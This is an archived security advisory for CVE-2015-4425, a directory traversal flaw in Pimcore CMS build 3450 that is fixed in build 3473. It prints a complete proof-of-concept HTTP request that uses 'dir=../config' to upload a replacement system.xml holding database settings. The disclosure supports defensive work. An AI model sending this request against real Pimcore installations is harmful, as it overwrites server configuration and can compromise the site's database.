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Pimcore CMS Build 3450 Directory Traversal

Pimcore CMS Build 3450 Directory Traversal
Posted Jul 14, 2015
Authored by Josh Foote

Pimcore CMS build 3450 suffers from an issues where it is possible for an administrative user with the 'assets' permission to overwrite system configuration files via exploiting a directory traversal vulnerability.

tags | exploit, file inclusion
advisories | CVE-2015-4425
MD5 | 02dcc90d48a955c8bf191b993bbdfa45

Pimcore CMS Build 3450 Directory Traversal

Change Mirror Download
Vulnerability title: Directory Traversal/Configuration Update In Pimcore CMS
CVE: CVE-2015-4425
Vendor: Pimcore
Product: Pimcore CMS
Affected version: Build 3450
Fixed version: Build 3473
Reported by: Josh Foote
Details:

It is possible for an administrative user with the 'assets' permission to overwrite system configuration files via exploiting a directory traversal vulnerability.

The following request can be used to update the ‘system.xml’ file of the web application:

POST /admin/asset/add-asset-compatibility/?parentId=1&dir=../config HTTP/1.1
Host: pimcore.com
Connection: keep-alive
Content-Length: 1502
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: https://www.host.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36
Content-Type: multipart/form-data; boundary=--------2072505619
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.8,en;q=0.6
Cookie: PHPSESSID=nnmupv1knofcpdgjdnivdr4v27; cookie-warn=true; _ga=GA1.2.1941920115.1426505099; pimcore_admin_sid=j79b6ad4afkjimslbj8l5ifuo4

----------2072505619
Content-Disposition: form-data; name="Filedata"; filename="system.xml"
Content-Type: application/xml

<?xml version="1.0"?>
<zend-config xmlns:zf="http://framework.zend.com/xml/zend-config-xml/1.0/">
<general>
<timezone>Europe/Berlin</timezone>
<language>en</language>
<validLanguages>en</validLanguages>
<debug>1</debug>
<debugloglevel>debug</debugloglevel>
<custom_php_logfile>1</custom_php_logfile>
</general>
<database>
<adapter>Mysqli</adapter>
<params>
<username>root</username>
<password>PASSWORD</password>
<dbname>pimcore</dbname>
<host>localhost</host>
<port>3306</port>
</params>
</database>
<documents>
<versions>
<steps>10</steps>
</versions>
<default_controller>default</default_controller>
<default_action>default</default_action>
<error_pages>
<default>/</default>
</error_pages>
<createredirectwhenmoved/>
<allowtrailingslash>no</allowtrailingslash>
<allowcapitals>no</allowcapitals>
<generatepreview>1</generatepreview>
</documents>
<objects>
<versions>
<steps>10</steps>
</versions>
</objects>
<assets>
<versions>
<steps>10</steps>
</versions>
</assets>
<services/>
<cache>
<excludeCookie/>
</cache>
<httpclient>
<adapter>Zend_Http_Client_Adapter_Socket</adapter>
</httpclient>
</zend-config>



Further details at:

https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2015-4425/

Copyright:
Copyright (c) Portcullis Computer Security Limited 2015, All rights reserved worldwide. Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered in any way without the express written consent of Portcullis Computer Security Limited.

Disclaimer:
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